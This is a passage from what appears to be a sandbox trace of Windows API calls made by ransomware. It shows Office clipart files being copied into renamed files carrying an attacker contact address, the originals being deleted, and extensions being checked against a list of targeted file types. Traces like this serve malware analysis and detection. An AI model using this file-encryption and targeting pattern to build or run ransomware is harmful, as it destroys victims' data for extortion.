SetEndOfFile (hFile=0x16c) returned 1 [0059.824] CloseHandle (hObject=0x16c) returned 1 [0059.824] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.824] SetEndOfFile (hFile=0x22c) returned 1 [0059.825] CloseHandle (hObject=0x22c) returned 1 [0059.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0059.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0059.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0059.825] lstrlenW (lpString=".doc") returned 4 [0059.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.825] lstrlenW (lpString=".docx") returned 5 [0059.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.826] lstrlenW (lpString=".pdf") returned 4 [0059.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.826] lstrlenW (lpString=".xls") returned 4 [0059.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.826] lstrlenW (lpString=".xlsx") returned 5 [0059.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.826] lstrlenW (lpString=".ppt") returned 4 [0059.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0059.826] lstrlenW (lpString=".zip") returned 4 [0059.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.826] lstrlenW (lpString=".rar") returned 4 [0059.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.826] lstrlenW (lpString=".bz2") returned 4 [0059.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.826] lstrlenW (lpString=".7z") returned 3 [0059.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0059.826] lstrlenW (lpString=".dbf") returned 4 [0059.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0059.826] lstrlenW (lpString=".1cd") returned 4 [0059.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0059.826] lstrlenW (lpString=".jpg") returned 4 [0059.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.826] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=4236) returned 1 [0059.827] CloseHandle (hObject=0x22c) returned 1 [0059.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0059.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0059.827] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.827] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0059.827] GetLastError () returned 0x0 [0059.827] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x108c, lpOverlapped=0x0) returned 1 [0059.829] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x1090, lpOverlapped=0x0) returned 1 [0059.830] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.830] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.830] SetEndOfFile (hFile=0x16c) returned 1 [0059.830] CloseHandle (hObject=0x16c) returned 1 [0059.830] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.830] SetEndOfFile (hFile=0x22c) returned 1 [0059.831] CloseHandle (hObject=0x22c) returned 1 [0059.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0059.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0059.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0059.832] lstrlenW (lpString=".doc") returned 4 [0059.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.832] lstrlenW (lpString=".docx") returned 5 [0059.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.832] lstrlenW (lpString=".pdf") returned 4 [0059.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.832] lstrlenW (lpString=".xls") returned 4 [0059.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.832] lstrlenW (lpString=".xlsx") returned 5 [0059.832] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.832] lstrlenW (lpString=".ppt") returned 4 [0059.832] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0059.832] lstrlenW (lpString=".zip") returned 4 [0059.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.832] lstrlenW (lpString=".rar") returned 4 [0059.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.832] lstrlenW (lpString=".bz2") returned 4 [0059.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.832] lstrlenW (lpString=".7z") returned 3 [0059.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0059.832] lstrlenW (lpString=".dbf") returned 4 [0059.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0059.832] lstrlenW (lpString=".1cd") returned 4 [0059.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0059.832] lstrlenW (lpString=".jpg") returned 4 [0059.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.833] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=3564) returned 1 [0059.833] CloseHandle (hObject=0x22c) returned 1 [0059.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0059.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0059.834] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.834] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0059.834] GetLastError () returned 0x0 [0059.834] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xdec, lpOverlapped=0x0) returned 1 [0059.836] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0060.436] ReadFile (in: hFile=0x22c, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.436] WriteFile (in: hFile=0x16c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.436] SetEndOfFile (hFile=0x16c) returned 1 [0060.593] CloseHandle (hObject=0x16c) returned 1 [0060.594] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.594] SetEndOfFile (hFile=0x22c) returned 1 [0060.594] CloseHandle (hObject=0x22c) returned 1 [0060.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0060.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0060.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0060.595] lstrlenW (lpString=".doc") returned 4 [0060.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.595] lstrlenW (lpString=".docx") returned 5 [0060.595] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0060.595] lstrlenW (lpString=".pdf") returned 4 [0060.595] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.595] lstrlenW (lpString=".xls") returned 4 [0060.595] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.595] lstrlenW (lpString=".xlsx") returned 5 [0060.595] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0060.595] lstrlenW (lpString=".ppt") returned 4 [0060.595] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0060.595] lstrlenW (lpString=".zip") returned 4 [0060.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.595] lstrlenW (lpString=".rar") returned 4 [0060.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.596] lstrlenW (lpString=".bz2") returned 4 [0060.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.596] lstrlenW (lpString=".7z") returned 3 [0060.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0060.596] lstrlenW (lpString=".dbf") returned 4 [0060.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0060.596] lstrlenW (lpString=".1cd") returned 4 [0060.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0060.596] lstrlenW (lpString=".jpg") returned 4 [0060.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.610] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2262) returned 1 [0060.610] CloseHandle (hObject=0x254) returned 1 [0060.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0060.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.611] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.611] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0060.611] GetLastError () returned 0x0 [0060.611] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x8d6, lpOverlapped=0x0) returned 1 [0060.612] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0060.613] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.613] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe4, lpOverlapped=0x0) returned 1 [0060.613] SetEndOfFile (hFile=0x1c4) returned 1 [0060.613] CloseHandle (hObject=0x1c4) returned 1 [0060.614] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.614] SetEndOfFile (hFile=0x254) returned 1 [0060.614] CloseHandle (hObject=0x254) returned 1 [0060.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 1 [0060.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0060.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0060.615] lstrlenW (lpString=".doc") returned 4 [0060.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.615] lstrlenW (lpString=".docx") returned 5 [0060.615] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0060.615] lstrlenW (lpString=".pdf") returned 4 [0060.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.615] lstrlenW (lpString=".xls") returned 4 [0060.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.615] lstrlenW (lpString=".xlsx") returned 5 [0060.615] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0060.615] lstrlenW (lpString=".ppt") returned 4 [0060.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0060.615] lstrlenW (lpString=".zip") returned 4 [0060.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.615] lstrlenW (lpString=".rar") returned 4 [0060.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.615] lstrlenW (lpString=".bz2") returned 4 [0060.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.616] lstrlenW (lpString=".7z") returned 3 [0060.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0060.616] lstrlenW (lpString=".dbf") returned 4 [0060.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0060.616] lstrlenW (lpString=".1cd") returned 4 [0060.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF") returned 59 [0060.616] lstrlenW (lpString=".jpg") returned 4 [0060.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.617] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=49546) returned 1 [0060.617] CloseHandle (hObject=0x254) returned 1 [0060.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0060.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.618] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.618] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0060.618] GetLastError () returned 0x0 [0060.618] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0xc18a, lpOverlapped=0x0) returned 1 [0060.620] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xc190, lpOverlapped=0x0) returned 1 [0060.622] ReadFile (in: hFile=0x254, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.622] WriteFile (in: hFile=0x1c4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.622] SetEndOfFile (hFile=0x1c4) returned 1 [0060.622] CloseHandle (hObject=0x1c4) returned 1 [0060.622] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.623] SetEndOfFile (hFile=0x254) returned 1 [0060.624] CloseHandle (hObject=0x254) returned 1 [0060.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0060.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0060.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0060.624] lstrlenW (lpString=".doc") returned 4 [0060.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.624] lstrlenW (lpString=".docx") returned 5 [0060.624] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0060.624] lstrlenW (lpString=".pdf") returned 4 [0060.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.624] lstrlenW (lpString=".xls") returned 4 [0060.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.624] lstrlenW (lpString=".xlsx") returned 5 [0060.624] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0060.624] lstrlenW (lpString=".ppt") returned 4 [0060.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0060.624] lstrlenW (lpString=".zip") returned 4 [0060.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.625] lstrlenW (lpString=".rar") returned 4 [0060.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.625] lstrlenW (lpString=".bz2") returned 4 [0060.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.625] lstrlenW (lpString=".7z") returned 3 [0060.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0060.625] lstrlenW (lpString=".dbf") returned 4 [0060.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0060.625] lstrlenW (lpString=".1cd") returned 4 [0060.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0060.625] lstrlenW (lpString=".jpg") returned 4 [0060.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.626] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=2966) returned 1 [0060.626] CloseHandle (hObject=0x254) returned 1 [0060.626] 